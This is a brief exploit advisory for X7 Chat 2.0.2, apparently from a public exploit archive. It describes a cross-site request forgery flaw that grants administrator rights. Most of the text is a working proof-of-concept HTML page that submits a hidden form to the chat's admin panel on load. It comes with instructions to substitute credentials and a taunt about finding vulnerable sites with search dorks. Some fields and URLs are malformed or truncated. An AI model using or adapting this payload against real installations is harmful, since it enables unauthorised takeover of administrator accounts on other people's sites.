+] Author: TUNISIAN CYBER
[+] Exploit Title: X7 CHAT 2.0.2 CSRF Add Admin Vulenrability
[+] Date: 13-12-2013
[+] Category: WebApp
[+] Vendor:http:
[+] Google Dork: Do Some Work and you'll find it :)
[+] Tested on: Win7 , ubuntu 13.04
########################################################################################
<html>
<body onload="document.xform.submit();">
<form name="xform" action="site.ltd/chat/index.php?act=adminpanel&cp_page=users&update=USER" method="post">
<input type="hidden" name="username" value="USER" />
<input type="hidden" name="usergroup" value="PASSWORD" />
</form>
</body>
</html>
Change USERNAME and PASSWORD
Demo:
http:
http:
http:
http:
http:
########################################################################################
